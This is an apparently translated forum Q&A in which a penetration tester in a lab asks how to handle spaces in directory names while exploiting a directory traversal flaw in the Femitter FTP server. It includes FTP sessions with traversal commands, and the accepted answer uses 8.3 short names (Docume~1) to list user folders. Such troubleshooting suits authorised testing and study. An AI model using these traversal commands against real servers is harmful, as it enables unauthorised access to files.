我正在一个封闭的参考环境中进行经过批准的渗透测试,并遇到了一个看似简单的问题,但我目前无法解决。
当尝试对在 MS Windows 操作系统上运行的易受攻击的 Fermitter FTP 服务器执行目录遍历攻击时,可以在系统根目录上执行 LIST(此处更改的地址和内容列表仅供参考):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
但是,如果我想列出包含空格的文件夹的内容(例如)Documents and settings
,我无法列出目录内容,因为空格会被忽略。
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
我已经尝试使用不同的 FTP 客户端(Linux 和 Windows 上的 CLI 和 GUI),它们要么忽略空格,要么不允许目录遍历。
还尝试通过首先使用原始套接字然后使用 ftplib 将命令以 HEX 格式直接发送到 FTP 服务器来编写对 Python 的攻击脚本,但没有成功。
谷歌搜索了几个小时,没有找到可行的解决方案(是的,有很多选项,但都没有用),这就是为什么这里有人遇到过同样的问题。可以肯定的是,这不是第一次需要使用空格进行目录遍历。
答案1
@Dogeatcatworld 建议的解决方案是使用 MS Windows 目录缩写,例如C:\Docume~1\
。
ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 .
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 ..
drw-rw-rw- 1 ftp ftp 0 Sep 26 2015 Administrateur
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 All Users
226 File sent ok
来自 MS 知识库的一篇非常好的文章解释了 8.3 目录符号:Windows 如何从长文件名生成 8.3 文件名
答案2
“短名称”实际上是旧的 DOS 8.3 命名约定,因此所有目录都将是前 6 个字母后跟 ~1,假设只有一个名称匹配,例如:
C:\ABCDEF~1 - C:\ABCDEFG I AM 目录
C:\BCDEFG~1 - C:\BCDEFGHIJKL M 另一个目录这是唯一的例外:
C:\ABCDEF~1 - C:\ABCDEFG I AM 目录
C:\ABCDEF~2 - C:\ABCDEFGHI 目录也是如此
答案3
Ftp 不使用 url 编码,因此 %xx 将不起作用,除非您在浏览器中使用 ftp 并可以为您翻译它。
尝试使用引号代替,例如:ls“../../some dir”